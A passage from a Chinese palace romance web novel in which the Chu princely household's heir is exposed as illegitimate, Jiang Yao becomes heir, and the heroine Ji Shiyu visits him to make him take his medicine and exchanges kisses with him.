弘文帝是被两个不孝儿子气得脑门冒烟,恐要折多年的寿,“我今日喊忠义侯府入宫,并不是让你嘲弄人家的!五小姐既然与你赔罪,这事就这么免了,朕不会再处治他们。”
“父皇!”
江承北一听这话,哪里甘心,“她可是伤了儿臣!”
“那你差一分就杀了楚王府的长公子呢?混账,你还有脸提?你连皇亲都敢动刀杀了,这天底下还有你不敢动刀的人?”
“父皇,那也是江曜先伤儿臣的正妃在先!三皇子妃,可是被江曜划伤面容,往后如何面世?”
“是谁说这事是江曜所为?来,你告诉朕,是谁告诉你的!”
弘文帝不怒自威,他一双目睁大,是以平静姿态吼出的这句话,威慑极大。
殿内霎时寂静。
江承北好半晌也没能开口。
弘文帝不耐冷哼,“老三,怎么不说了?朕问你话,谁说的!”
姬时语静静候在旁,她明媚的小脸划过一抹轻轻的嘲弄。
她当然知道,江承北说不出话。
只因江曜抓了柳眉这事,出在城郊荒无人烟的路上,除却三皇子府的几个侍从,再无一外人见到。
再来柳眉被找到时,身边无一人,更无一物。
江曜全然可以说,是被三皇子江承北蓄意污蔑。
因此,江承北没话说。
也就是他这般理直气壮,令弘文帝彻底愤怒。
帝王朝着江承北谩骂不止。
“朕给过你们机会,结果你们两个混账,一而再再而三的,算计忠义侯府,你们眼里是看不见忠义侯留守岭西多年,几次冒死奋战?老三,你真的让朕寒心,扪心自问,这个三皇子之位,你做的安心吗?”
江承北慌了神,他想要开口,抬首之间,直直对上龙椅之中弘文帝那双透骨失望的眼。
帝王的冠冕晃动几许,却遮不住弘文帝眼中的灰暗。
那是一种已然将他放逐的意味。
不,不,不!
江承北心口在呐喊,他不能容许,绝不能就这么让步,让给江承运!
“父皇!”
江承北站了起身,腰间缠绕的麻布突然崩开,鲜血染红了他的衣袍,他咬牙额前冷汗淋淋,“父皇,还请您听儿臣一言。”
弘文帝望着他,不语。
良久,姬雄武插了嘴,“陛下,还是先请太医吧,三殿下伤势要紧。”
弘文帝准了,他给了曹云一个睇眼。
曹云立及往殿外退离。
姬时语便持在原处,等候着。
“陛下,楚王府求见。”
就在这时,折返而归的曹云领着太医,与楚王府的一行人大步入了殿。
弘文帝的眉深深凝起。
姬时语的余光轻瞥,满脸错愕。
走在最前的竟是楚王府多年不曾出面的老楚王。
老楚王年已六旬,他比弘文帝大了近二十岁,先帝还在世时,老楚王曾为先帝的第一个孩子。
已过世的太后膝下无子,便将老楚王抱养名下,视作亲子照料。
后来十余年过去,太后生下了弘文帝。
老楚王长兄如父,亲手带大弘文帝,两兄弟便有如亲兄弟一般,在夺位之事上未起纷争。
“臣等参见陛下。”
老楚王一个鞠躬,弘文帝竟亲自下了玉阶,搀扶老楚王起身,并亲切说道:“皇兄怎也入宫来了?”
姬时语为两人的亲近感到疑窦与好奇。
眸子朝后再一瞥去,竟见江曜亦是被搀扶进了殿,他刚坐下,那双沉沉的狐狸眼便朝着她睨来。
小姑娘顿时脸蛋鼓起,是十分恼火。
瞪着他忿忿,朱红唇瓣无声开合。
姬时语说:“为何又擅自入宫?”
江曜没作答,他清冷的面容只是微微别开,径直错开姬时语的质问。
可没把姬时语气坏了。
老楚王叹息,同弘文帝道:“陛下,这不是宫中闹事,曜儿与三殿下起了事端,臣心中难安啊,想与陛下赔罪。”
“唉,皇兄莫要说这番话,要论对错,也是老三有错。朕方才已训斥了他,这事作罢,是不会再处治江曜的。”
“陛下当真?”
“朕何时扯谎过?”
“陛下自然是言出必行,驷马难追。”
老楚王头发眉毛已是半白,多年不曾出过楚王府,今日为江曜而来,足以见得他有多看中江曜这个孙子。
弘文帝愿意轻轻放下,老楚王便立即感恩戴德,“多谢陛下圣恩。”
“好了,皇兄入宫便是为江曜求情吗?唉,你们楚王府也是的,朕怎么不见你们为子墨那般上心?”
弘文帝一句无心之话,是令老楚王与楚王齐齐变了脸色。
姬时语敏锐地察觉,跟在江曜身后入殿的楚王妃胡氏,与楚王世子江子墨,是从未有过的寡言。
“陛下。”
老楚王突然摆正神情,尤为严肃,“臣今日来,正是还有一事,是关乎我们楚王府的世子之位。”
“哦?江子墨不是楚王世子?”
弘文帝疑惑不解,“还是说,皇兄偏宠江曜,便要朕撤下江子墨的世子之位,给江曜?”
“陛下,是也不是。”
老楚王点点
头,又摇摇头,“臣确实为重讨册封而来,楚王府的世子之外,绝不可交给一介外人。”
弘文帝更是不解,“这话朕就听不懂了。”
老楚王喊来楚王,“你来说吧,你们夫妻二人闹出的丑事,真将我老脸丢完了。”
“陛下,若江子墨是臣的亲生儿子,世子之位交由给他并无不妥。”
楚王悻悻接过话来,他脸色显得十足尴尬。
“只是,江子墨并非臣的儿子,若将来楚王之位留给他承袭,便是混淆皇室血脉的大罪。”
“你说什么!”
弘文帝的脸色沉如黑墨,他虎目大睁,面露暴怒,“江子墨不是楚王府的儿子?楚王,先说江曜是你与白氏之子,后又闹出江子墨并非你和胡氏所生,你们楚王府是耍朕当把戏?”
老楚王眼见事态不妙,忙劝说道:“陛下息怒,您再听楚王几言。”
“好,朕让你说。”
弘文帝怒不可遏,但仍旧面容镇定。
“臣惶恐,陛下,当年江子墨降生,臣只以为江子墨是臣的亲生儿子,便放任胡氏掌管楚王府,没再多想。”
楚王艰难地咽了口水,他面上浮现几许难言之色。
是纠结、踌躇、彷徨之下,后才继续说:“直到,臣察觉,臣早已不能育有子嗣。”
姬时语听得此话,下意识便去睨江曜。
那一头的江曜却恰好回过头来。
这回他没有避开姬时语的眼,而是眼尾挑起,眼中情绪流转。
好似阴沉的色泽之中荡开了温柔的情意,缠缠绵绵的。
看得姬时语心口直跳。
都这个时候了,他怎得还在大殿来这一出?
姬时语没好气想哼他,可眼眸还是忍不住多看江曜几眼。
偏一旁的楚王还在说。
“臣已不能行人……事。”
姬时语如同被雷劈了个里外焦。
再一抬头,江曜直勾勾地凝望于她,冷面平静无波,他薄唇轻启,说了几个字。
姬时语飞快垂首,耳尖红得发烫。
江曜说:“阿锁,你放心,我可行的。”
第123章
“楚王,你……你当真……”
弘文帝满目震惊,他的神情难以言喻,一双瞪大的眼觑了老楚王,又去看跪地垂首的楚王妃。
默了默,皇帝的脸色难看起来。
老楚王叹息一口气,便道:“陛下,三殿下刚巧寻了太医问诊,不如您让张太医为楚王看罢便知。”
弘文帝给了张太医一个眼神。
正候着的张太医可谓是战战兢兢。
本为皇子们诊脉便是稍有不慎,命悬一线,如今竟又卷入皇家辛秘之中。
张太医只觉着自己有一百个脑袋,也不够砍得。
弘文帝不耐烦,震慑大喊:“愣着作甚?还不去给楚王看脉?”
张太医忙回过神,抖着身子应了是。
大殿之中,无人胆敢吱声,是如死一般的静谧。
姬时语不敢多瞄,她同样后怕。
今日一出正巧摆在她跟前,若楚王当真身子不行,这则辛秘怎好让皇室之外的人知晓?
思忖着,姬时语便心生焦灼,有些求救似得往父亲忠义侯姬雄武身上瞥眼。
姬雄武察觉到,回了小女儿一个安抚的眼神。
姬时语便又弯回腰,坐回原位。
那头张太医为楚王细细把脉之后,弘文帝直问:“如何?”
“回陛下……”
张太医拂袖擦了一把额头的汗,胆战心惊回道:“楚王,楚王……身子常年体弱空虚,这等身子恐早就不得孕育子嗣……”
越说到后头,张太医声色愈低,他根本不敢直视弘文帝的脸庞。
“哼!”
弘文帝一甩龙袍,是怒不可遏。
张太医说的清楚,楚王内里空虚,怕难以让女子怀孕生子,那楚王妃的这一胎是与何人所生的?
江子墨又是谁的儿子?
楚王府明知子嗣有恙,竟还瞒天过海,企图以外人血脉混淆皇亲贵胄,其心可诛!
侧首而望老楚王,弘文帝冷厉斥责:“皇兄,这事你早有知情?”
老楚王上前一步,是羞愧难当,他行礼恭敬回道:“陛下,实在是楚王府愧对于您的厚爱,这些年,我们都以为子墨是楚王府的子嗣。”
“皇兄当真不知?”
“不敢隐瞒陛下。”
弘文帝如利剑似得眼直直盯着老楚王的脸,然而老楚王只是摇头。
而楚王呢,他自知今日之事必定触犯龙尊,直到上首皇帝的目光平静几许,他才敢插嘴。
“陛下,是臣之过,使得皇室血脉混淆。”
弘文帝怒得冷哼,“你们楚王府确实有能耐,一出未平,一出又起,莫说世人了,连朕都被你们耍的团团转!”
老楚王赶忙赔罪,“陛下,楚王府可不敢戏耍陛下。”
弘文帝看过来,老楚王到底是弘文帝敬重的皇兄,有他之言担保,弘文帝的神色稍安。
在这时候,姬雄武便也趁机禀道:“陛下,楚王既有要事需得陛下处理,臣便携小女告退了。”
一时之间,殿中几道目光齐齐望过来。
江曜再度瞥眼姬时语,姬时语未抬头,但也触及他的视线。
他灼热的目光不曾离开过她。
楚王府之事毕竟乃皇室辛秘,弘文帝再怎么怪罪楚王,也不好当着忠义侯府的面发作。
因此姬雄武一提,弘文帝便摆手让两人走了。
姬时语忙起身,随姬雄武离开大殿。
直到步出太和殿,姬时语仍心有余悸。
她昂首轻睨父亲刚毅的侧脸,诸多话在嘴边未能吐出。
姬雄武领着姬时语走上甬道,两人往宫门而去。
走了两步,姬雄武问她:“怎么了?”
“爹,楚王真的……”
姬时语欲言又止。
“是真是假,尚不可知,但前几日楚王入宫,曾为江曜讨过赐婚圣旨。”
姬雄武面色亦是不好,他说起这事时还颇有微词,“楚王未和我们打过商量,便向陛下求娶你,他们盼着你能嫁给江曜。”
“这……”
姬时语双眼瞪圆。
那时候便求了赐婚吗?
可为何之后没能?
姬雄武又说:“不过陛下不愿,他没为你和江曜赐婚。”
“那今日这是?”
“怕是楚王府有意以退为进,先让楚王妃与江子墨让位,扶持江曜为世子,再承袭王位。楚王应觉得自己身子那般,已不得再坐楚王之位,有意禅位。”
姬雄武脸色黑沉,他凝视身边的小女儿如花娇颜。
姬时语发髻间的一只飞鸟衔枝簪坠着两排珍珠流苏,晃荡在玉色的耳边,日头之下,明媚璀璨。
正如她十六岁,姣好艳丽的一枝花。
他的小女儿,捧在手上的明珠,怕是留不住了。
“楚王还是想为你们求赐婚圣旨的,今日搬出老楚王,怕也打的这个主意。我也不知陛下会不会应许,只是阿锁,你如何想的?”
姬雄武叹了口气,问姬时语道:“爹再问你一遍,若
是你反悔,一切都还来得及。阿锁,你真愿意嫁去楚王府吗?”
迎上姬雄武问话的,是姬时语明亮浅笑的眸子。
她颔首轻笑:“爹,我愿意的。”
“唉。”
姬雄武心生怅然,纵使有万般不舍,但他也愿意顺着小女儿的心意。
双手背后,姬雄武再未多言,大步往宫门走去。
姬时语快步跟上。
“爹!”
姬雄武的后背一顿,沉了许久,他方才开口道:“阿锁,江曜早先便有意求娶,我和你娘起初是不答应的。”
姬时语的笑凝在面上。
“楚王府不是寻常人家,一旦你嫁入皇室,爹娘恐难插手护你平安,且楚王妃又痛恨江曜,我们不愿你跟着去受苦。”
说起这事,姬雄武又是一阵哼声,“那小子怕是知道我们多顾忌,便想娶你之前先将楚王妃摆平,也好你嫁去无忧无虑。”
闻言,姬时语恍然大悟。
今日楚王府入宫,未必不是江曜的意思。
他真心实意想娶她,便愿意为她踏平前方之路。
姬时语的心,在一刹那间,狂跳不止。
那种被人放在心上疼爱的感觉,是瞬间回来了。
无法言喻的,她多么窃喜。
喜欢着为她着想的江曜。
因此,她也愿意奔赴向他。
不论前方还有何样的艰难险阻,她都愿意陪江曜,一步步踏过。
“爹。”
姬时语走过去,笑嘻嘻挽住了姬雄武的手臂,“照您这么说,江曜是很好的人啊,你们不愿意的那些,他都会一一平了,到时你们还有何不满呢?你就放心吧,他断不会让我受委屈的。”
“你啊。”
姬雄武拿撒娇的小女儿没辙。
每每姬时语柔软的小脸带笑,说着好听的话。
他就不免回想起,儿时的姬时语,雪白团子一个的小丫头,小跑扑进他怀里,抱着他甜甜地喊“爹爹”。
小女儿总喜欢拍着手,笑成一团。
“爹爹好厉害呀!”
姬雄武是太感慨了。
“罢了,楚王府若真有能耐求来赐婚圣旨,那你们的亲事我也就同意了。”
“真哒?”
姬时语欣喜若狂。
姬雄武回看:“你就这么信他?”
姬时语笑道:“爹爹,你也是看着江曜长大的,他本事如何,你不是比我更清楚吗?”
“你!”
姬雄武被小女儿一噎,是说不出话。
姬时语笑着提起衣裙,先一步上了忠义侯府的马车。
末了,她回首与姬雄武道:“爹,我先回府了。”
因还有公事在身,姬雄武没亲自送姬时语回侯府,他点头应了好。
……
姬时语一回侯府,便折返回海棠苑,去寻舒氏。
她将宫中亲耳听得的琐事说给舒氏听,如陛下赦免了她刺伤三皇子的罪名,又如楚王身子空虚,江子墨并非皇室血脉。
舒氏不禁唏嘘,“若真如此,云让便是实打实的该当这个楚王世子。”
“那楚王妃和江子墨呢?”
“要看陛下如何定夺。”
舒氏面色未凝,她握住姬时语的手,轻拍两下,好似很安定,她温温柔柔的嗓音响起。
“阿锁,娘知道你和云让情投意合,只是嫁入楚王府这条路,并不好走。如今皇室党争不断,储君之位一日不立,纷争一日不止。而楚王府同为皇亲贵胄,寻回云让这个亲生儿子之后,楚王与老楚王便不再旁观,誓必要蹚浑水。”
“娘,我省得。”
舒氏叹息:“但愿云让不会让我失望。”
“娘,我若是嫁去楚王府,可会对侯府不利?爹之前为了我,连兵权都要交还于陛下。”
姬时语却满眼含了愧疚,她是喜欢江曜,可也不愿牵连她挚爱的亲人,“爹今日也同我说,陛下像是不情愿我们侯府与楚王府结下姻亲。”
“是啊,云让还得先当上楚王世子才可。”
“是吗?”
“云让早先寻我,我告知过他,楚王府盘根复杂,有楚王妃在,我便一日不会将你嫁过去。他若想娶你,必先造一个安然无恙的楚王府。”
舒氏如水的眼眸静望姬时语,她是一如既往的疼爱。
她抚摸姬时语的脑袋,笑了笑,“他是真将我的话放在了心上。”
“娘。”
“若他能为楚王世子,执掌楚王府,再迎娶你过门,我便无不愿。”
姬时语与舒氏说了掏心窝的话,“早前我没思索清楚,是以从未和你说过我喜欢他,如今我想明白了,不论怎样,我愿意的。”
这一世,打她在辽城将江曜认出,前世今生两辈子的心结也就此了却。
他是那么让她喜欢,即使她受不住江曜偶时的暴虐,但相比与失去他,她情愿接纳他的全部。
江曜,是她喜欢的。
这是她捡到的,她一个人的宝物。
她不想让给别人,也不愿意旁人觊觎他。
……
隔日一早。
姬时语睡醒爬起时,便听萍亭与萍柳自外屋而入,嘴里念叨着些许楚王府的家事。
“说什么呢?”
姬时语揉着眼,是还未醒神。
萍亭笑道:“江大人的册封圣旨下来了,陛下改立他为楚王世子。”
萍柳却在哼:“这下咱们小姐是想跑,也跑不出他的手掌心。”
萍亭觑了萍柳一眼。
那回姬时语被江曜带去别庄,两人私下度了整五日,两个丫鬟虽不敢多言,但萍柳怨怼极深。
是真怪上江曜的不讲道理。
萍亭叹气:“若江大人和小姐终成眷属,你该为小姐开怀。”
萍柳不吭声。
“册封真下来了?”
姬时语转而没了困顿,爬起身来,她踱上鞋子,招呼丫鬟摆置早膳,去至桌旁边用膳边问话。
萍亭端来一碗八珍香米粥,递到姬时语跟前,又将汤勺给她。
“小姐,确有此事,楚王世子江子墨被除了名,陛下宣称王府仅有江大人一名子嗣。”
姬时语小口啜粥,吞咽下肚,胃里顿时升起一团暖和。
用罢早膳过后,姬时语便留在屋中歇息。
昨日入宫,听得楚王府辛秘。
今日圣旨便召下,大赦江曜的楚王世子之位。
老楚王和楚王爷竟真能说动弘文帝,容纳王府的一通乱象。
想着想着,姬时语不免担忧起江曜来。
也不知道他那一击重伤,迫切回京入宫料理事端,可会引得伤势更重。
姬时语支着下巴没理由的想。
若是江曜还在忠义侯府便好了,那时候不管他是否无恙,只要她想他,便只管去思芳院寻他。
每每她去到院里,竖着高马尾一袭黑衣的少年,她的哥哥便会迎着她过来。
多么的无忧无虑,随心所欲。
现如今江曜回到楚王府,姬时语想见他一面都难。
喜欢他时,还犹带有几分畏惧,因此姬时语下意识朝后退步。
但经过这一遭,姬时语不会再逃避。
满心腔的思念夹杂爱意如狂草疯长,一时之间她难以自持。
无比的想他。
姬时语坐于窗棂之前,那扇朱花雕木窗微开,窗外是个艳阳天,春光明媚,没得阴沉雨天。
她幽幽叹口气。
原来两情相悦时,并非全然都为欣喜之情,见不到面,又会生出想念。
离得近羞怯的多,离得远思念更甚。
话本子常说的难分难解,便是这般啊。
姬时语捧着脸,一会儿喜,一会儿忧愁。
院外萍柳自窗边而过,见得自家姑娘眺望院中的那颗绿树之荫,叹了几口气,她不由也跟着叹气。
萍亭看得好笑,便问了萍柳,“怎得你也叹起气来了?”
“萍亭,你不觉着咱们小姐……”
萍柳轻步走来,隔了姬时语几步之远,又压低了声量,“是真很喜欢江大人?”
“瞧你这话说的。”
萍亭笑声更大,好似萍柳在说一桩再显而易见之事,“这不明摆着,小姐与江大人青梅竹马长大,五六年的感情多深呐!虽说江大人脾性摸不透,可他从未对小姐刻薄过,若说善待,也是真心实意的待小姐如初。”
“是我想佐了。”萍柳喃喃。
“夫人说过,她不应许两人成亲无非是楚王妃太过蛮横,但今日你也瞧见了,江大人已是楚王世子,那么这婚事便是铁上钉钉。”
萍亭笑容满面,“不日之后,你我又要筹备侯府的婚事咯。”
“是啊,这回该是小姐的大婚。”
萍柳说得也心生喜悦。
两个丫鬟在院中扫清落叶,韶华院外,有一小丫鬟匆匆跑入,将一张信纸递给萍亭。
小丫鬟一说,萍亭才知是林二送来的。
林二送信,怕是得了江曜的命。
江曜应有事寻姬时语,萍亭便入了内室,转交给姬时语。
“小姐。”
姬时语接下信,萍亭退离内室。
她拂开纸页,里头赫然是江曜的字迹。
只肖一眼,姬时语便闹了个大红脸。
无他,江曜说的话比他做的事还要露骨。
他说 :“阿锁,想你了。”
“药好苦,我吃不下。先前你应过我,我若染病,你会一直陪着我。”
“若是阿锁能来楚王府,我早便药到病除。”
姬时语再看不下去,不管是脸蛋,连眉眼也生起一片羞涩。
这人真是的,那年说的话,是因他还是年少之时,两人同为十岁孩童,陪伴相依相偎又不会如何。
江曜已是十九岁,还这么孩子气。
说什么非要她去楚王府,守着他吃药的话。
他知羞吗?
姬时语折起信纸,塞回妆奁的最底端。
萍亭与萍柳守在院中,绿荫之下尚可纳凉,两人还在笑谈,一抬眼,便见姬时语从屋中步出。
“小姐?”
萍亭忙问:“这是要去哪儿?”
姬时语吩咐下去:“萍亭去备马车,萍柳去海棠苑知会我娘一声,就说我要去楚王府一趟。”
两个丫鬟面面相觑,而后便应话出院。
舒氏听闻姬时语要去楚王府,心知她有意探望江曜,她应准之后,还不忘让萍柳带上一箱探望礼,以示礼数周到。
姬时语便搭乘马车去往楚王府。
一刻钟后,楚王府的周管家见忠义侯府的马车来到,惊了又惊。
可很快车中下来一道俏丽身影,周管家立马换上喜笑颜开的笑脸。
“五小姐安好。”
周管家亲自迎过去,“府里请。”
姬时语还在狐疑楚王府的过分热情,周管家已先一步带着她入了王府。
上回姬时语随舒氏来楚王府参宴,当时梨花如云,宴会热闹非凡。
而今姬时语再一次踏足王府,周遭布着冷冷清清。
“老奴送五小姐去寻阳院吧。”周管家道。
姬时语问:“寻阳院是?”
“是世子殿下的院子。”
姬时语恍然忆起,江曜已是楚王世子。
她又问:“可我还未先拜访楚王殿下,这般贸然前去怕是不好……”
“无碍的。王爷身子有恙,平日不见外客,加上近来府上事出纷纭,没女主子当家,唉,是有些不够周到。”
周管家话里话外都是楚王妃胡氏因混淆皇室血脉,似被处置,
姬时语没多话。
周管家笑着应:“且王爷交代过,但凡五小姐过府,不必阻拦,老楚王殿下亦是下了此令,您只管在王府随心些。”
几句话说罢,两人已走至一处幽静院落。
周管家也不再上前,只是摆手:“五小姐,到了。”
“多谢你。”
姬时语朝周管家颔首,独自踏步入了寻阳院。
恰好林一从屋中而出,见是姬时语,他摆出笑脸迎接,“殿下正等着您呢。”
姬时语问林一:“他可是吃药了?”
“这。”
林一的笑霎时顿住,又一副苦哈哈的神情,“五小姐,您还是先进屋吧。”
不必多说,林一的意思便是江曜压根没吃药。
姬时语柳眉一蹙,生起些许怒意。
她抬脚入内,直直往内室而去,登时便要质问江曜。
谁知屋中昏暗,少年正半靠于床榻,一袭墨发披散,侧脸如斯清冷。
垂眸时,他那双狐狸眼隐去了锋芒,显得安逸许多。
姬时语一瞥他黯淡无色的薄唇,再多的恼怒也顷刻消弭。
江曜正捧着一本话本,细长的指尖不时划过一页。
下一刻,他抬了眼过来。
原本冷清的狐狸眼瞬间盛满了喜悦,他嗓音沙哑,唤她:“阿锁。”
姬时语被他的声音惹得一张小脸绷紧。
江曜却是直勾勾注视着她,那双眼朝上微挑,喜色甚多。
他眼中毫不遮掩地、赤_裸_裸地情绵拢起,尽数落于她身。
姬时语被他的目光,凝望的不好意思极了。
那时还在暗室,看不清他脸庞的神情,只知道他凑在她耳边、脸颊的唇很灼热,连亲吻也变得绵长痴缠。
偏生今日是光天化日,屋中又仅有两人。
一旦心意相通,江曜是连半分也不愿再忍耐。
江曜朝姬时语递来了手心,他又喊她:“阿锁,过来。”
姬时语读懂了他的眼。
他想吻她。
每一回他想亲她时,那股迫不及待十分显眼,好似很焦灼,一刻也不愿等。
但姬时语可不愿意。
不想万事都随他的心。
再说了,她过一趟楚王府,可不是特意跑来给他抓着又亲又咬的。
姬时语忍住羞愤的神色,面对江曜的索求,她视若无睹,朝屋外便大喊一句。
“林一,去拿药碗来,伺候你们殿下吃药。”
林一在外头应了句是。
“阿锁?”
屋中江曜的脸色一下子便生了几分阴郁,他作势便要爬起下床,姬时语立即颦蹙呵斥。
“你敢动?老实呆着,不然我立刻回侯府。”
有小姑娘的一句威吓,江曜是乖顺地没挪动身子,再度倒躺回床头。
“五小姐。”
林一端来药碗,他瞥眼神色不耐的江曜,太会识眼色,知晓唯有姬时语能吃得住江曜。
屋中低沉阴暗,林一自知他可不该久留。
“这里便交给小姐的。”
旋即将碗交给姬时语,林一忙不择路先开溜。
床那头,帷幔幽影绰绰,江曜隐在其中,丝毫未动,也不作声。
姬时语叹了口气,还是认命似得靠近床榻。
她挪来一把雕花圆木椅,坐在床头,好半晌,她才开口:“江曜,你身子是给谁养的?吃个药还非要我过府来才肯吃?”
“我若是好生养病,连一日也见不到你。”
江曜没立即接药碗,反而伸手捉住她空着的那只手,五根手指尽数插入她的手指,揉捏攥紧。
“阿锁好狠的心,将我独自撇在王府。”
江曜低垂着双眸,眼尾流露出涩意,不知情还真以为姬时语做了错事,辜负了江曜一片情意。
然而早看破少年心思的姬时语,还猜不出他所想?
又在骗她心疼他。
姬时语没好气地拍打他的手背,呵斥道:“先将药吃了,莫要说有的没的。”
江曜的眼瞥来,他轻啧一声,后还是顺从的将药一口喝干净。
“这不是很好吗?吃药好好养病,少让人操点心。”
“在别庄你说让我等你回来,可若非我回京,十日半个月,你都不会去寻我。”
姬时语接回空碗时,江曜还是一副怨念阴郁的神情未散。
他得不满足,她又总不说哄他的话,少年便自顾自地恼意。
看他俊容阴暗,还是为了自己,情意难解心生委屈,姬时语噗哧一笑。
小姑娘娇俏的玉脸笑容明媚。
江曜也太把她的话放在心上了,她说是什么便是什么啊。
她怎么就这么欢喜他呢?
“是,是,我有错,不该欺瞒你。”
姬时语倾身凑上床头,她双手捧着江曜的脸,将人掰正过来。
两人四目相对,他望着她,一动不动。
她便俯身轻轻贴上他的唇。
一吻上,江曜的双臂便顷刻间缠了过来,他牢牢环抱住她的腰,强硬地将人往他的胸膛压。
香甜的玉兰香气勾得江曜胸膛起伏不定。
薄唇轻启,他耐不住地厮磨她柔软的唇瓣。
是她先起的头,可每回冲破束缚的都是他。
第124章
姬时语被吻得情动,细密的眼睫不住颤栗、抖动。
她几度想要睁开眼,可还是阖眼沉浸在这个情深意动的吻里。
她的柔荑无力地垂下,落在江曜的肩侧。
小姑娘细软的手指好似生了神志,悄摸摸爬上了江曜的脖颈。
她的指腹摩挲着他硬实的肌肤,柔柔软软的。
“嗯……够了。”
姬时语想挪开唇瓣,她的腰肢才一动,又被江曜摁住。
江曜睁开眼,清冷的狐狸眼映照出她如出水芙蓉的羞涩娇颜。
粉面桃花,含羞带怯。
他又倾身抬起,啄上她的唇角。
这回姬时语当真是侧开头颅,不再由着江曜胡来索吻 。
“呵。”
江曜眸子生起浓郁的笑意,他抬手捉住姬时语柔软的手心,举至唇边亲了一口,目光灼灼地看她。
“阿锁说着不要,可你的手却很舍不得我啊,方才偷偷摸了我好久。”
姬时语霎时扭头,只见她另一只手腕正抵在他的肩胛处。
手心留恋着的,可不就是少年精致的锁/骨。
江曜此刻衣襟盘扣已开,袒露些许洁白的胸膛。
那条线顺着向下之处,在暗室的时候,姬时语曾亲眼所见,他精实的胸/肌鼓鼓与块状的腹/肌轮廓清晰。
一如他的人,看似冰冷如石的梆/硬,但真下手戳两下却十足柔软。
姬时语尝过一回,便极为喜爱。
这手是怎么也收不回来了。
江曜笑着望她,捉了她指尖抚在自己的侧脸不时亲吻,他轻笑:“阿锁总是口是心非的很,还说不是垂涎我,嗯?”
姬时语莹白的脸颊彻底红透,两团酡红凝起,一颦一笑好似在勾人。
“我,我才不是……分明是你抓着我放过去的!”
小姑娘害羞时候最是嘴硬,也最是惹江曜欢喜。
他就爱看她娇羞又不愿承认的模样。
左不过是因着喜欢他,才生了万般模样,哪样都好。
阿锁本就是他的珍宝,她多喜欢他,他便多欢喜。
“是这样啊。”
江曜便顺着怀中的小姑娘的意,她脸皮薄,红扑扑的,他笑道:“那阿锁可要再朝下摸摸?”
他在盛情邀请她,姬时语羞得恼火。
“还摸什么摸呢,江曜,你可是个伤患,你胸前的伤还要不要好了?净给我添乱呢,等你好起来看我不打你的。”
一把将手腕扯回,姬时语忙从床榻爬下去。
她歪头遮盖自己羞红的小脸,嘴里不住尽数是娇嗔。
江曜的心腔顷刻间被充斥满。
果然有她在的地方,才是他的归属。
即便身处于冷清无人的楚王府,江曜亦是心甘情愿。
可若姬时语不在了,江曜只会觉得不论在何地,都是万般的孤寂。
“阿锁不要打我啊,我也是怕疼的。”
江曜眼望姬时语的动作,拉低声线朝她求饶。
“你还会怕疼?”
“自然,我很怕疼的。”
果然他一示弱,姬时语的哼声便响起。
她傲然指过来,俨然一副女主子似得作态,教训起江曜来。
“那你更要听我的话了。”
“阿锁要我听你的话。”
江曜颔首,一双狐狸眼凝起认真,他神情不似作假,“那你说说我该怎样做?”
“往后做事之前要先同我相商,不可任性为之。”
姬时语一晃指尖,江曜点头应了。
“莫要再搞的一身伤,我不管你是有意还是无意的,你需得记住我的话。”
江曜怔愣眼眸。
“还有啊,你不要总递莫名的话去侯府。”
姬时语哼了几下,蓦地抱臂又想起什么似得,脸皮眨眼间便泛红。
“到时王府和侯府想岔,你自个儿说说,你我还未定亲呢,你占了我多少便宜了?”
闻言,江曜沉声低落道:“我还当阿锁是喜欢的,我亲你时,你明明亦是很享用……”
“闭嘴!”
姬时语恼羞成怒,“总而言之,我说什么便是什么,直到你病痊愈,你都得听我的,不准你抱我、亲我。”
这话一出,江曜可不情愿了,径直是着急。
“阿锁!”
姬时语是意已决,“江曜,一切等你我定亲再论,不然……”
她话还未说完,江曜已应道:“好。”
姬时语转而狐疑盯过来,她一双猫瞳闪巴,瞧看着江曜神情未变的脸,总觉着哪里不对劲。
前头江曜还百般不答应,两人独处时,最是想方设法讨亲密的,每回都是江曜。
可这次她说了等定亲方可时,江曜竟应了。
姬时语心思百转,改口便问:“楚王和老楚王……你们王府当真有能耐让陛下赐下这道赐婚圣旨?”
江曜缄默,清冷的容貌在帷幔之后一闪而过,又靠回床头。
“不对,陛下是赐封你为楚王世子,又夺去楚王妃和江子墨的名分,那还能吗?”
姬时语兀自问道:“你们王府诸多事端,陛下没怪罪?”
江曜反生笑意,问她:“饿了吗?”
“啊?”
姬时语被问得一愣,但很快她摸了摸肚子。
来时她用过早膳,已不知不觉在楚王府待到已近午时,是有些饿了。
“先用膳再说。”
江曜缓慢从床榻挪步,姬时语瞥见他将要下床,忙走去搀扶住他,“你慢些,不若还是莫动弹,我让人在床上给你布菜。”
“无碍。”
江曜就着姬时语的搀扶,亦步亦趋地挪到一张方形扶手木椅之中。
他方落座,便朝外喊了林一。
林一跨步入屋,“殿下。”
“让人布午膳吧,五小姐留在王府用饭。”
“是。”
林一应后,又恭敬地退离。
姬时语纳闷睨江曜,问他:“我怎地瞧着林一不像暗卫,快成你的侍卫总管了。”
“他是从暗转明,我身边的暗卫总领现为楚明。”
“冷不冷?”
姬时语起身去床边取来江曜的外衫,为他披上,“先穿上吧。”
江曜顺着她的手裹上外衫,姬时语却未急着落座,反而在室内四处转悠打量。
这间寻阳院偌大宽敞,只内室一间,便及姬时语的韶华院内室与外室两间。
但这般之大的屋子,却十分寂寥。
屋中几处用具一目便是新添,连木椅也仅有四把。
姬时语忍不住嘟哝,“哥哥,王府还未来得及为你布置院子?”
江曜瞥眼过来。
小姑娘这儿摸摸,那儿溜达几下。
从前她便是极爱为江曜的思芳院添砖加瓦,后到了秋猎营帐之地,还是她为他布置新住处。
如今来到王府,姬时语还是操持这颗心。
江曜笑道:“我不喜那些,若阿锁能来,我更想你来布置。 ”
那面姬时语背着他的娇躯一颤,很快便哼声袭来。
“还想我来操心这些琐事啊?美得你!”
虽说如此,姬时语的手已端起桌案之上的一盏错金铜博山香炉。
这香炉本放置于桌案的一角,她觉着不好,轻拿轻放,归于案头方桌之顶。
“错金铜的香炉。”
姬时语嘴里念叨着:“这是好东西啊,王府之中怕是不少御赐的珍宝呢。”
“你喜欢?”
江曜不明所以,问话道:“那我让人送去侯府吧。”
“我哪好拿这个回去?”
姬时语满腹无奈之意,“这可是御赐的玩意,陛下知晓,又得怪罪我。免了,我才不要呢。”
在这时林一已折了寻阳院,王府的丫鬟们鱼贯而入,几道菜肴摆上了桌,两双碗筷也为两人布好。
桌上一道蒜泥白肉,一道烧鹧鸪,一道五宝鲜蔬,还有一道红枣乌鸡汤。
姬时语的眼直亮堂起来。
林一道:“殿下,五小姐。”
江曜看他道:“都下去吧,这里无需人伺候。”
“是。”
林一最是明了江曜的心思,笑着便领着丫鬟们纷纷退离屋子。
